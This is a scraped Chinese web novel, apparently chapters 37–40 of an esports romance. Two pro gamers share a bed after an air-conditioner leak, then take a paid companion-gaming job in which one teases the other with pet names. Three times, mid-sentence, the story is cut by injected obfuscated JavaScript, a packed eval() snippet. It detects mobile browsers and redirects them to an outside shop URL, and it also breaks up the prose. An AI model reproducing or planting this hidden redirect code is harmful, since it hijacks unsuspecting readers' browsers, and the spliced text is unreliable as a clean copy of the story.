就和通宵打单子的禁令一样。 郁秋点点头,默认了对方这个想法:“这些零食你们看着收,先上去了。” 说完,他便悠悠地上了楼。 一上到二楼,他便看到站在房门口一动不动的夜雨辰。 “你站在门口干什么?” “……” 夜雨辰没有回答,而是扭头看向他,表情写满了复杂。须臾,他便转回头,像是什么都没发生似的直接进了房间。 郁秋疑惑地走向前。 刚走到门口,他也看到房间了里的现象,愣住了。 房间内和房间外的温差很大,一冷一热。 空调板大张地对着大门口,冷风不停地呼呼直吹,看似已经开了很久。 板上已经凝聚了许多若大若小的水珠,正时不时地往下滴落。 而空调的正下方,正是夜雨辰的床位。 37. 同床 这是一个不眠之夜。 至少对郁秋来说是这样的。 他现在就这么直直地躺在床上,紧抿着嘴唇,眼里毫无睡意。 一个毛绒绒似的东西正时不时地蹭着他的下颚,滑过他的喉结。 软软的、痒痒的。 温热的鼻息浅浅洒在他的颈上,这种酥麻感让他不由得吞了口唾沫,身体不知不觉地绷紧。 他屏息式地深吸一口气,似是想克制些什么,一丝夹杂着微醺的薰衣草沐浴露清香味随之飘入鼻中。 一段呼吸被拉得犹如世纪般长,他的胸膛却只有微不可察地一丝起伏。 不敢有太大的动作。 万一惊醒这个已经熟睡的人该怎么办? 他小心翼翼地抬起左手,两根手指轻轻地捏住这正轻搭在他胸前、手指正似有似无地拂过他锁骨的手腕。 就算他的床位现在正对着空调直吹,他指尖腹部传来的依旧是对方身上独属于醉酒的燥热…… “嗯——” 一道糯糯的呻吟声从他身上响起。 “啪!” 在他刚拎起一点这只手腕时,突然,他的腹部遭到了和几分钟前一样的像是阻拦般的攻击——一根类似八爪鱼触手的拍击。 倏地一下,他的手一松,全身更加僵硬了。 因为这根新来的触手同他胸膛上的这根一样,也不老实。 现在正像调戏般,隔着布料摩挲着他的大腿。 同时,他身上的手臂也往上收了收,直接环绕住了他的前颈。 “……” 他完全摒住了呼吸,不敢再有任何动弹。 他的脑子已经完全陷入了空白。 他从没想过,刚刚的一切会变成现在的这个状况—— 心上人正躺在自己身边,紧抱着自己熟睡着。 * 不久前—— 夜雨辰默默地踩在自己的床上,正拿着抹布擦着空调板上面的积水。 他现在就像做错事的孩子一样,一直没有说话,只在在为自己的错误买单。 虽然现在已过立秋,但是八月中旬的上海气温依旧炎热,所以,他们仍然会长时间的使用空调。 但刚刚他们出门的时候,最后离开房间的夜雨辰因为心里只想着和兄弟聚餐而兴高采烈,结果忘记把空调顺手关了。 恰好,这段时间空调的长时间运作负荷,板上便终于没忍住开始积了水。 也算是报应,现在这些水珠正时不时地砸在了他的床上。 虽然滴的量不多,但现在也不方便关空调,不然大晚上睡觉会热死人的。而且基地没有电风扇,最多只有那些小小的安装在手机上的散热器。可一直开着的话,凌晨的时候,空调便一定还会积水,然后水珠就可能会像暗器一样,不知什么时候会突袭到自己。 虽然基地里的单人床很大,他可以躺在另一半,保证自己完全不躺在空调机下,但他更怕自己睡着的时候翻身,然后恰好被一滴突兀地从天而降的水滴砸醒。 那更是吓人。 在夜雨辰简单处理完这些水珠后,他坐在自己的床上,微垂着眸,双目有些许迷离,像是在想着该怎么解决睡觉的问题。 其实他现在更偏向于自暴自弃一点,直接倒头就睡。 反正以他现在又困又晕的状态,说不定天王老子来了都不会把他吵醒呢。 但他也有点不敢,他更不喜欢突然惊醒的感觉。 这时,郁秋端了一杯水进了房间。 他看到正坐在床上发呆的青年,直接走到他面前递去了这杯水:“给你。” 夜雨辰一怔,几秒后,他才缓缓地抬头,虽然没有说话,但他的眼睛里满是疑惑。 郁秋干咳两声:“蜂蜜水,和解酒药效果差不多。” 这是他在下面倒水拿药的时候,零落给他科普的。 然后他转念一想,药的成分复杂,蜂蜜水成分简单靠谱,加上自己对吃药的阴影,相比之下,他最后选择还是拿上来这杯健康且功效类似的东西。 “……”夜雨辰盯着杯子半晌,然后边抬手接过这杯温水,视线边幽幽地瞥向一旁。 他把杯子送到自己嘴边后,小声地憋出了两个字,“谢谢。” 郁秋收回手,目光深深地停留在这个坐在自己面前、低头喝着水、眼眶和耳垂都微微泛红的青年。 他吞了一口唾沫,继续问道:“你的床湿了?还能睡吗?” 夜雨辰叼着杯子,语气里满是不高兴:“湿了些,问题不大,能睡。” 郁秋挑眉:“那你不怕半夜水滴你身上?” “怕。” 夜雨辰脸上满是不情不愿,“但没办法。” 反正他的错误,他自己受着结果。 “那……你要不今晚睡我床上?” ? 夜雨辰一愣,像是怀疑自己听错了似的,诧异地抬起头。 只见对方脸上是一如往常的平静,像是早已做下了决定:“睡我床上起码没有半夜被滴到的可能。” 夜雨辰直直地盯着他,眸光波动。 片刻后,他问道,“如果我占了你的床,你睡哪?” 郁秋无所谓地耸耸肩:“说不定等你睡醒了我还没睡呢。” “……”夜雨辰轻哼一声,“不要。” 像是预料之内,郁秋脸上没有任何被拒绝的诧异:“为什么?” “零落三点就收手机断网,那你三点以后不睡还能干嘛?”夜雨辰撇了撇嘴,“把床让给我睡让你没地方睡?那还是算了。” 他可做不到这种把别人的床占了让原本的主人没地方睡觉的事情。 这明明是个特别正常的思路,郁秋听了却没忍住翘起一丝嘴角:“你的意思是,让你睡我的床的前提是,必须我俩一起?” 夜雨辰丝毫没察觉到这句话的不对劲。 他皱着眉,十分认真地给对方纠了个错,“挤不至于,基地虽然是单人床,但宽度够我俩躺在上面中间都能留有不小的空隙。” 所以两个人睡在一张床上也没什么问题。 郁秋挑眉:“你就不怕我对你做些什么?” 夜雨辰面色古怪地看着他:“你自己说你感情上不会做对不起别人的事,目标也不是我,我需要怕什么?” 郁秋脸色五味杂陈:“……” 怎么总有种今晚一直在搬起石头砸自己脚的感觉? “那你现在怎么决定,我听你的。” 夜雨辰想也没想: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081131|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你要是介意和别人睡一张床,那就正常睡,我自己床上往边上挤挤应该也不会被打到。” 他虽然真的怕半夜突然来一滴冷冰冰的东西砸在自己身上,但他更怕因为自己给别人添加麻烦。 “虽然吧,我确实没和别人睡过同一张床……”郁秋似是在犹豫徘徊,但最终,他莞尔道,“但我不介意这个,所以,悉听尊便。” “……”夜雨辰意味深长地看了一眼对方,“去洗澡了。” 丢下这句话后,他直接拿好自己的洗漱用品后便直接进了浴室。 “砰!” 浴室门一关,郁秋的肩膀终于微微松懈了一点。 此时,他的脑子已经交如乱麻了。 他现在都不太敢确定。 虽然有点歪打正着,但刚刚夜雨辰的反应,好像是默认了的意思?? 有点不真实。 甚至让他觉得这个夜晚喝多了的人是他。 …… 等等。 夜雨辰喝酒了,而且喝得还不少来着。 像是想起了什么,他脸色倏地一变,立马叩着已经传出花洒声的浴室门,朝里急忙提醒道:“夜雨辰,你洗澡的水温别调太高啊!” 如果酒后洗澡,还是个热水澡,那很容易与酒精的代谢和作用机制相互叠加,对身体造成生理影响。简而言之就是很容易会—— 让一个人更醉、更容易直接睡昏过去。 但已经说晚了。 夜雨辰从浴室出来的时候,状态似乎更差了。 虽然走的依旧算是个直线,但他还是直接直勾勾地倒进了郁秋的床上。 “……” 郁秋揉了揉眉心,实在是没忍住笑出了声。 明明对酒精的知识是小白,还一口气喝这么多。 他默默地关上了房间的灯。 不过,他还是没打算就这么睡上去的。 其实他刚刚和夜雨辰说的也是实话,他通个宵也不会怎样,反正对他来说通宵是常态。 要实在是困了撑不住,他就打算随便趴桌上或是打个地铺将就一下,再不济就去楼下的沙发上躺一晚。 反正他不忍心让夜雨辰将就的睡一晚。 他走到夜雨辰的床旁,先是摸了一遍上面的被单——跟其床单一样,也被空调水打湿了一小部分。 郁秋耸耸眉,毫不犹豫地直接回到自己的床旁,拿自己的被子给他盖了上去。 就当他给对方盖好被子,转身准备离开的时候,突然,他的手腕被抓住了。 他一愣,刚疑惑地回头,还没来得及作出其他反应,下一秒,一股突兀的不小的拉力通过其传了过来,让他没一时控制住平衡向下倒去。 不过他紧接着单脚跪在床边稳住平衡,而另一只手也撑在了枕头的边缘,防止自己不会砸到床上的人。 他透过黑暗,满是诧异地看着这个在自己身下,应当已经昏睡过去了的青年。 “郁秋,你对我说的是‘悉听尊便’,我刚刚也说过,你要么和我睡一张床,要么就和我各睡各的。” 只听他的声音虽然带着明显的醉意,但其中却夹杂着不容忽视的清醒与坚定, “我现在选择睡的是你的床,所以,你别想跑。” 38. 陪玩 阳光透过窗帘缝,轻洒在夜雨辰白皙的侧脸上。 “唔……” 刺眼的光线让他没忍住全身往里缩了缩。 虽然现在意识开始清醒,五官也渐渐恢复感知,但他依旧不愿意睁开眼睛接受该起床了的事实。 这一觉他睡得很安逸,被窝里暖烘烘的,所以他不愿意就这么起床。 鼻尖传来了一股他有点熟悉的柠檬洗衣粉的清新味。 他感到一丝奇怪,微微蹙起眉。 此时,他手指无意识地微搐了一下,指尖恰好蹭过一个似光滑圆润的球珠。 他更加疑惑了。 这是什么?他床上有这个东西吗? 他下意识地往上收了一下腿,隔着衣料,他顶到了一根似是柱子的东西。 硬硬的,怪怪的。 这又是什么东西?他现在还是在做梦吗? 他的脑子不由得浮现出昨夜意识残留的片段—— 在一片黑暗里,他感到给他盖被子的人要离开后,他立马抬起手,十分坚定的抓住了对方,意图把对方一起拉上床。 而等对方后来完全在床上躺下的时候,他察觉对方没有盖被子的意图,于是他就强行把对方拉进了和自己的一个被窝里,同时,也把自己躺着的枕头分了一半过去。 他似乎还喃喃地跟对方说:“这些东西都是你的,你不能让我一个人独享这些然后委屈自己……” 然后,他便对后面的事情完全没了印象。 所以现在—— 他是在郁秋的床上?那他刚刚碰到的一切不都是…… 他意识到什么,身体倏地一僵,猛地睁开眼。 入眼即是对方的颈窝,他瞬间意识到,自己现在的睡姿十分难堪—— 其实,他上一次和别人睡在同张床上,已经是十几年前跟父母挤一张床的时候了。 但现在,他和郁秋一起缩在同个小空间里。自己的一只手正搭在别人胸上,指尖稍不注意就会触碰到别人的肌肤;一条腿也搭在对方的身上,准确来说,是腹部往下…… 他后知后觉地迅速收回了自己的腿。 “醒了?” 恰好,一道略带睡意的沙哑声从头上传来。 他呼吸一滞,脸颊不由得升起一抹异样的绯红。 下一秒,他二话不说,立马钻出被窝翻身下了床。 他背对着床,站得笔直,缓缓吞了口唾沫。 他的心脏不知什么时候开始砰砰直跳,全身神经也不由得绷紧,脑子刚刚的姿势一时挥之不去。 有点过于亲近了…… 过了好一会,他才终于缓回了点神,微微偏过点头,试图看向昨夜和自己同床共枕一晚上的人的表情。但最终,他的余光甚至都没波及到床的边角上。 他喉咙有些发干道:“早……早上好。” 郁秋失笑道:“你别紧张,这是个正常的生理现象。” 他的声音还是有点喑哑,但听上去似是完全没有为自己身上的现象以及刚刚发生的事情感到尴尬。 “……”夜雨辰深吸一口气,轻轻颔首,“嗯,谢谢你,起床了,不打扰你,你继续睡。” 说完,他头也不回地似跑一般的进了卫生间。 一关紧门,他便靠着门板,抬头呆呆地看着天花板,似乎还在回忆和消化从昨晚到刚刚发生的一切。 片刻后,他才低下头,看向自己刚刚在床上意识到不对劲后,身体不自觉发生的反应。 “……” 他眸底暗潮涌动。 半晌,他冷哼一声,直接选择放着不管直接去洗漱。 他当然知道这是个男人该有的正常的生理现象,才不会紧张。 * 等郁秋起床后,时间已经到了下午,这时基地也刚好来了个空调维修员。 夜雨辰在上午的时候直接跟零落报修了房间的情况,所以他们很快的解决了这个问题。 至于前夜的尴尬,两人都很默契的没有再提。 不过由于房间的空调在维修无法使用,所以他们俩直接选择去训练室蹭空调了。 夜雨辰正面色复杂的坐在自己的位置上,眼睛里也满了犹豫。 其实他本来计划是去外面散个步晒晒太阳来着。 毕竟昨夜他确实喝得有点多,虽然现在他人已经完全清醒,但喉咙里仍残留着一丝还散尽的酒味,让他感到些许不适。 可他被郁秋诱惑到了,所以突然没有了出门的欲望。 即使他现在其实还在徘徊。 毕竟郁秋提的事情他其实心底里还是有点反感。 可是给的太多了,而且还是一件十分罕有的机会,郁秋还说会陪他一起让他心里有点保障,所以他又觉得,机不可失,来干这件事似乎也不是不行。 半小时前—— 郁秋起床收拾好后,完全没提早上的尴尬,脸上也像是什么都没发生过一样,一脸平静地问他:“你过会有没有兴趣打几把陪玩?” “没有,不做这个。” 夜雨辰靠在自己的椅子上刷着手机,头也不抬一下的就拒绝了。 陪玩,顾名思义就是陪别人玩游戏。 虽然他以前就听说过,高手的陪玩是游戏圈里最赚钱的途径,而且他的游戏申请列表和音符平台的私信里,确实有不少人问他有没有做陪玩的意向,且最便宜的价格都是一把游戏给他一百块钱,但他还是一点都不愿意干这一行。 “你先听我说完,”郁秋悠悠地解释道,“我朋友叫我打的,然后她叫我再随便拉一个人一起来打三排,你应该对她不陌生。” 夜雨辰抬眸给了个视线:“谁啊?” “Kimi。” “?”夜雨辰瞬间想起来,“你打的号的号主?” 郁秋点了点头,“而且你们的号其实都是她提供的,所以你也应该算认识她?” 夜雨辰皱起了眉,眼里依旧写满了不愿意:“那你去问其他人吧,我不太喜欢做陪玩。” 郁秋似乎没有去叫其他人的想法,而是好奇道:“方便问问为什么吗?” 夜雨辰冷漠道:“我不适合干这行,我不会哄人,也不会去听那些过分的命令。” 作为陪玩,一定要听老板的话,老板说干什么就干什么。而如果遇到一些性格古怪或极端的老板,他们也照样不能有任何怨气,还是得忍着恶心听从对方的任何命令。而且以他们的实力,一定属于‘技术陪’的范围,所以不管老板什么游戏实力,他们一定要带其获得胜利,不然不会结账,特别是不管老板玩得强还是菜,他们都得哄着夸着对方玩,保证对方的游戏体验感。 这种违心话,夜雨辰自知自己还是说不出来的。 “这个嘛,我理解你,我也讨厌那些规矩,”郁秋了然,轻笑一声,“Kimi虽然也是个老板,但单论游戏技术,她自己也有至少全国千强的水平,而且我也能跟你保证,她不是那种人,最多就要求我们玩什么位置和英雄,不然我也不会答应她这件事。” “……”夜雨辰顿了几秒,眼里闪过一抹犹豫之色,“不要。” 他还是对这个行业有点抵触。 郁秋淡淡道:“一把游戏一人五百,MVP另加,先暂定打两把。” “现在上号?” 夜雨辰立马坐直了起来,眼睛直勾勾地看着郁秋。 抵触归抵触,但一小时不到的时间就可以把昨天花费的饭钱赚回来一大部分,谁能忍住不干? “过会,”郁秋嘴角一勾,一副鱼已上钩的模样,“还有,她想要低调一点,所以过会不要拿职业号,我也得先借个号来。” 夜雨辰挑眉:“不能拿单子号打这个排位吗?” 他还想顺便打英雄的表现分来着。 “这个嘛……”郁秋挠了挠脸,“她给我们打的都是她姐妹的号,她说过那些号主不想拿自己号打陪玩,所以我们得自己借个号来,段位的话,荣耀以上就行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081132|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “行吧。”夜雨辰耸耸肩。 他拿出手机,看了一眼时间,确认现在差不多到了高三的放学时间,想也没想直接给一个人发去了消息。 【Night:@星,借个号,打几把排位。】 “那个,”郁秋顿了一下,才缓缓开口道,“你方便帮我借个号吗?” 夜雨辰抬眸,目光疑惑地看着他:“随便找个不是职业的朋友借个号不就行了吗?” 郁秋苦笑:“人脉有限。” “……” 夜雨辰眼里写满了不信。 而且不算职业选手的话,他的人脉其实也挺有限的。 【Night:@星,顺便帮我多借个号?】 * 等他们俩登上了号,夜雨辰突然起了把这次陪玩鸽了的念头。 郁秋在旁看着自己登录的账号,在旁没忍住笑出了声。他意味深长地看向脸上闪过一抹尴尬的夜雨辰:“你还挺用心,专门借一个符合我人设的号?” 他们登的这两个号,夜雨辰玩的是言星奕的游戏账号,起码这个id他早已习以为常了,郁秋对这个号也不陌生。 但是,言星奕借给郁秋账号的id是——“坚定自己所爱”。 “……” 夜雨辰满脸黑线。 他还是记得昨天晚上郁秋说过‘这辈子只爱一个人’的话的。 但现在这个id的出现,他就觉得,借号的人是在嘲讽对方的这个心态。 可言星奕怎么可能知道郁秋的这个心态? 半晌,他无奈地叹了口气:“抱歉,凑巧,我无意冒犯。” 郁秋笑而不语,而是直接把陪玩的主人公Kimi拉进了排位房间。 “等等等等,郁秋你先别急着开游戏。” 她一进房间就焦急地打开麦克风,立马制止了准备开始匹配的郁秋,“我先加个Night的微信,我有点事和他私聊,有关这次陪玩的。” “……”郁秋脸上写满了不情愿,轻啧一声,“你们不能加游戏好友私聊吗?” Kimi嗤笑一声:“你是老板还我是老板?小心我扣你钱。” 郁秋似笑非笑道:“这么多年的交情有必要这么狠吗?” Kimi才没心软:“狠的究竟是谁?你再卖友情账,我直接把你那小心思全捅出来了哈。Night发个微信,我私聊和你说一些话,别让你旁边那家伙看到。” 夜雨辰疑惑地听着二人的对话,把自己的微信号发了过去。 二人一加上微信,对面就立马发出了好几条消息—— 【Kimi:终于有机会有你的联系方式了,给我备注Kimi就行。】 【Kimi:我也是中单玩家,而且是你的粉丝好久了,就不知道郁秋为什么一直护着你的联系方式不给我你的微信,而且结账也是只让我把钱转他,不让我自己给你,气死我了。】 【Kimi:话说他没有独吞你该赚的钱吧?】 【Night:……没有。】 【Kimi:如果他欺负你可以告诉我,我扣他钱。】 【Night:……】 【Night:所以,陪玩是有什么事情吗?】 这些话明明可以陪玩结束后再说的。 【Kimi:啊对,这次陪玩我有一些要求,你做到一次一百块,但前提是这些东西你不能给郁秋知道,这是我刚刚想到的新点子,你有没有兴趣?】 做到一次一百块? 这不心动真的有点说不过去。 【Night:可以考虑。】 但前提还是不会触及他底线。 【Kimi:最近看你俩双排挺多的,所以过会排位你去玩辅助,你俩也不用管我的游戏体验,输赢我也无所谓,不过能赢最好。】 【Night:我玩辅助?】 【Kimi:对,你玩瑶,然后你这把需要做的是……】 39. 吃醋? 夜雨辰果断地答应了。 虽然不理解Kimi为什么要他这么做,但这么简单的要求,他心里是完全没有任何负担。 这笔附加钱简直是太好赚了,和白送几乎没什么区别。 而且他十分地乐见其成。 游戏一进入bp界面,他便直接在一楼锁了瑶。 看着夜雨辰如此果断的选择了一个他完全没玩过、且只能保护一个人的辅助英雄,郁秋本来放松的眼神瞬间凝重了起来。 他在选好自己的英雄后,关闭了自己的游戏麦克风,扭头看向坐在自己旁边、神色悠悠的人。 他的眉头微不可察地皱起了些许,在克制住内心升起的一股不爽后,他语气平平无奇道:“她跟你说什么了?让你玩这个一直保护她?” 夜雨辰偏头,疑惑道:“你怎么会这么想?” “我知道她喜欢你很久了,说的是你的实力,不是你人。” 郁秋目光灼灼地看着对方,满是怀疑道,“她是要你玩瑶,然后让你一整把只跟着她顺便教她一些中路细节吗?” 毕竟这两个人都是玩中单的,而且Kimi好强,对提升自己的实力十分有兴趣,所以如果夜雨辰一整把跟着她,要是看到她局内有什么细节把控得不太好,那他一定可以第一时间指出来并纠正的。 夜雨辰眨眨眼:“不是。” 郁秋一怔,旋即眉头皱得更紧了,继续猜测道:“她是想让你指挥她一整把中路对局思路?” 夜雨辰抬眉:“不是。” 郁秋的脸色更加严肃了:“她难道是心情不好,想听你哄她?” 夜雨辰嘴角一抽:“你刚刚不还说她不是这种人吗?” “刚刚不是,但现在不确定了。”郁秋的脸色越发阴郁。半晌,他喉咙有些发干,沉声问道,“你觉得她人怎么样?” 夜雨辰愈发对这些问题感到莫名其妙,但还是老实答道:“有钱、性格开朗。” “……”郁秋深吸一口气,目光是前所未有的凝重。几秒后,他缓缓吐出了几个字,“她是你喜欢的类型吗?” “……” “怎么,你是要做媒婆给我俩牵线吗?”夜雨辰没忍住好笑道,“我就选个瑶而已,你这都问得是哪跟哪啊?” 这些问题真的是太天马行空了。 “郁秋你有完没完?我不聋我听得到!你这什么傻逼脑回路?还特意把自己的麦克风关了!扣钱!!” Kimi的声音从二人的手机游戏里爆发了出来。 郁秋一噎:“……” 忘了自己的游戏麦虽然关了,但夜雨辰的没关。 Kimi气呼呼道:“Night你别理他,他老这样神经兮兮的。” 郁秋重新打开麦克风,幽幽地瞥向夜雨辰:“那你们刚刚究竟私聊了什么,为什么要背着我议论?不都是三排吗,有什么事当面说不好吗?” 语气里似乎满是怨气。 夜雨辰扬了扬眉,迅速瞥开自己的视线,笑而不语。 Kimi没好气道:“粉丝见偶像的欣喜要你一个外人知道干嘛?去去去,再这样我扣你钱了。” 郁秋有点委屈:“我都给你和偶像加联系方式的机会了,你还要这么对我吗?” Kimi冷哼一声:“好笑,互相帮助叫你给我机会?” 夜雨辰一愣。 互相帮助?什么意思? 游戏进入对局后,由于Kimi在局内前几分钟并没有下达什么要求,所以他俩暂时就正常游戏,目标直指胜利,对局里也是理所当然地打出了顺风局。 只不过,郁秋总觉得有点说不出来的不对劲。 夜雨辰的瑶出乎意料的没有去跟Kimi,甚至看都没看她一眼,而是从头到尾一直在跟着自己,特别是他有大招以后一直都只无脑挂在自己的头上。 而且,他全部保护人的辅助技能也只给自己使用,一点都不去管队友,仿佛这把游戏他的队友只有自己似的。 郁秋还时不时地会往旁边瞥去视线偷看一眼,结果居然发现夜雨辰有时甚至直接松开了方向键,悠哉悠哉地看着屏幕里的瑶跟随自己的移动而移动。 这给他一种对方十分相信只要保护好了自己,就一定能赢的感觉。 他甚至有种错觉,这次三排点陪玩的老板是夜雨辰,而真正的陪玩是他和Kimi。 他下意识地点开菜单看一眼瑶的装备栏——辅助装是出了的,不会分他经济,他们俩不是在恶搞他。 他更摸不着头脑了。 Kimi到底跟夜雨辰说了什么东西?为什么他这把要这么玩游戏? 从未见过如此玩游戏的夜雨辰。 就在这时,郁秋操作的老虎刚好被对面四个人包围攻击。对面高爆发的伤害让瑶的大招盾瞬间被消耗完毕从老虎的头上掉了下来,大招因此陷入了CD。而他们的队友都在离他们十分远的距离,第一时间无法给予支援。 由于瑶掉的位置刚好是在老虎逃跑时使用的位移的中间、敌人追赶的必经之路上。所以在郁秋立马反应过来自己把辅助落在路上,下意识想回头接瑶的时候,瑶就已经被对面的围攻秒杀了。 夜雨辰看着自己已经黑下去等待复活的游戏屏,倏地一下坐直身体,眸光暗潮涌动。 旁边人歉意道:“不好意思,太浪了,把你害死了。” 夜雨辰嘴角微搐了一下,舔了舔有些发干的嘴唇。 Kimi:“咳咳咳。” 郁秋眼神瞬间冰冷,寒声道:“你咳什么?我又没对你——” “哥哥,韩信杀的我,帮我报仇。” 一道语速极快且毫无情绪起伏的声音打断了他的话。 ? 他的表情和操作瞬间凝固。 他愣愣地转过头,看向耳垂正有些泛红的夜雨辰。 郁秋脑子突然陷入一片混沌,一时有些语无伦次:“我……你……不是,等等,你喊我吗??” 对方面色如常一脸平静的模样,怎么看都不像是刚刚开口喊他‘哥哥’的人啊?可声音他是绝对不会认错的! 夜雨辰看着对方惊讶的表情,嘴角没忍住微微翘起,挑眉道:“不然呢?喊Kimi吗?” “嘻嘻。” Kimi在这时突然没控制住露出了点笑声,然后她立马轻咳了两声,虽然里面还是有难掩的笑意,“这次算我提醒你的哈Night,所以先给你扣个一半,至于其他的,就按刚刚说的一样,照旧。” 夜雨辰嘴角一勾,在手机上操作了一下:“好的老板,第一次说这种话所以刚刚做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081133|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了点心理准备。” 本来还会觉得这种话会让他肉麻得不行,结果现在一说出来他又觉得,也没什么大不了的,甚至感觉自己还能说个上百遍。 他隐隐开始期待后续的发展了。 郁秋深吸一口气,缓缓地收回了视线把注意力回到游戏身上,看着游戏的目光专注了不少。 【系统播报】 【你已击杀了“韩信”!】 Kimi这时候给夜雨辰微信私发了一条消息。 【Kimi:你刚刚这句话说出去的时候,郁秋是啥表情啊?】 夜雨辰看到这个消息,浅浅回忆了一下——那是一副他十分熟悉的表情。 【Night:一副被恶心的震惊表情。】 就和两年前他“表白”郁秋后,他听到郁秋对他说的话的表情一模一样。 【Kimi:这样啊……】 她立马回到游戏,笑嘻嘻道:“Night快复活了,郁秋你快回泉水去接他,让Night这把有皇帝辅助待遇。” 郁秋正打着野的手一顿。 下一秒,他也不管正在打的残血buff,头也不回地直奔泉水。 夜雨辰一复活,郁秋的老虎刚刚好跑到了泉水等他。他毫不犹豫地直接大招上身郁秋,轻声道:“谢谢宝宝。” “……” 郁秋吞了一口唾沫。 接下来的几分钟,郁秋的老虎带着夜雨辰的瑶把对面韩信的战绩抓到了1/6—— 夜雨辰夸赞道:“哥哥好厉害,我也想要人头。” 郁秋抿进嘴唇。 瑶掉进防御塔里不小心抗了下塔—— 夜雨辰委屈道:“宝宝对面孙尚香打我。” 郁秋咬紧下唇。 对面的野区有一个野生的蓝buff—— 夜雨辰天真道:“老公我想要个蓝。” “咳咳咳咳咳咳……”郁秋实在是没忍住咳嗽了几声。 他一边打着蓝buff,一边幽幽地瞥向这个越喊越上头、脸上笑容愈发灿烂的夜雨辰,“你怎么还换各式各样的称呼来叫我?搞队友心态呢?” 而且为什么语气里给他的感觉是情绪越来越丰满,简直不像演的。 “怎么,你很介意吗,老、公?” 夜雨辰脸上已经完全没有刚开始的羞涩,笑眯眯道,“你两年前游戏里不也叫我宝宝吗?” 他是发现了,原来这些话除了第一次开口的时候确实有点难以启齿,但是越往后喊,他越是觉得得心应嘴,而且心里完全不会膈应。 特别是看郁秋这一直吃瘪却听话的模样,不知道为什么,他心底里真有种说不出的通畅爽感。 这就是所谓的报仇成功吧? 郁秋语塞。 “哦哦哦什么什么你是Rain吗?” 听到这句话,Kimi顿时激动了起来,“你说的是不是郁秋喊Rain宝宝的那件事啊?没记错的话,他游戏里只喊过他宝宝诶!” “所以Rain真的是你吗?!郁秋你是不是早就知道这件事了?居然不告诉我!这十几年的友谊算是给你吃了!” “……” 夜雨辰脸上顿时失去所有笑容。 坏了,不小心说漏嘴自己是Rain了。 40. 夜雨 郁秋也瞬间变了个脸色。 他的脸上再也没有任何窘迫和喜色:“你开的是组队麦吧Kimi?” Kimi疑惑:“是啊,怎么了?” 郁秋松了一口气:“那就行,这得保密。” Kimi好奇道:“后果很严重吗?” 夜雨辰轻啧一声,把游戏的麦克风调回组队麦:“反正Rain已经是过去式了,现在的国服中单只有Night。” Kimi:“但是Night,我想跟你说件事。其实你的粉丝自发的建了一个小群,里面不少人是Rain以前的粉丝,他们现在也喜欢Rain的。” 夜雨辰抬眉:“你怎么知道的?” Kimi:“我是群的管理。” 夜雨辰一怔,面色有点复杂:“嗯,谢谢。” “咳咳,言归正传。”Kimi干咳两声,笑嘻嘻道,“这把游戏还没结束呢,郁秋你也把游戏麦开成全队麦,让两个路人听到你对Night的回应。” 夜雨辰的手一顿:“?” “等等大小姐,你啥意思?”郁秋一时间也没反应过来,“你是说夜雨辰刚刚开的是‘全队麦’??” Kimi嬉笑道:“是呀,他反正也没介意,我问过他的。” 全队麦和组队麦的区别是,全队麦是他们这一方五个队友都能互相听到声音,而组队麦则是只有他们三排的三个人能听到彼此的声音。 而Kimi跟夜雨辰说,只要是喊郁秋的时候,他都得开“全队麦”。 意思就是说,现在的两个路人队友只要开了游戏的喇叭,那他们就能听到夜雨辰称呼郁秋的声音。 “……” 郁秋脸上的表情终于有点绷不住了。 他的嘴巴张开又闭、闭了又张。 Kimi在游戏里不耐烦地催促道:“郁秋你快点,你又不是没喊过他这个,别给我整什么害羞的借口,不然我扣你钱了。” “额,那个,我插个嘴。” 夜雨辰轻咳打断了她,“他其实已经说完了。” Kimi诧异:“是吗?我没听到啊?” 夜雨辰干笑了两声:“我听到了,只是他声音很小而已。” “诶诶?”Kimi一下就不满了,“我不管,我没听到,郁秋你再说一次嘛!” 郁秋皮笑肉不笑道:“你别得寸进尺。” “哼。”听不到郁秋嘴里的话,Kimi只好把目标重新转回到夜雨辰身上,“可以问你吗Night,郁秋刚刚说了什么?” “额,”夜雨辰似在迟疑,一字一句道:“我也不是不能说吧……” 他目光幽幽瞟向身边正看着自己且充满了警告的目光:“就是……不太好吧?” Kimi像是不听到就不死心,催促道:“没事,你说,我可以把郁秋这次的结算全给你。” “……”夜雨辰有点心动,他深吸一口气,语速平淡且极快道,“滚吧傻逼大小姐。” “?” “你说什么?” 夜雨辰淡淡解释道:“这是郁秋刚刚说的话。” “……” “郁秋!!!” * 结果,这把陪玩只打一把就结束了。 Kimi直接说没心情玩果断下线了。 夜雨辰收下Kimi转给他的结账——2350元。 心里实际上还是有点小宛惜的。 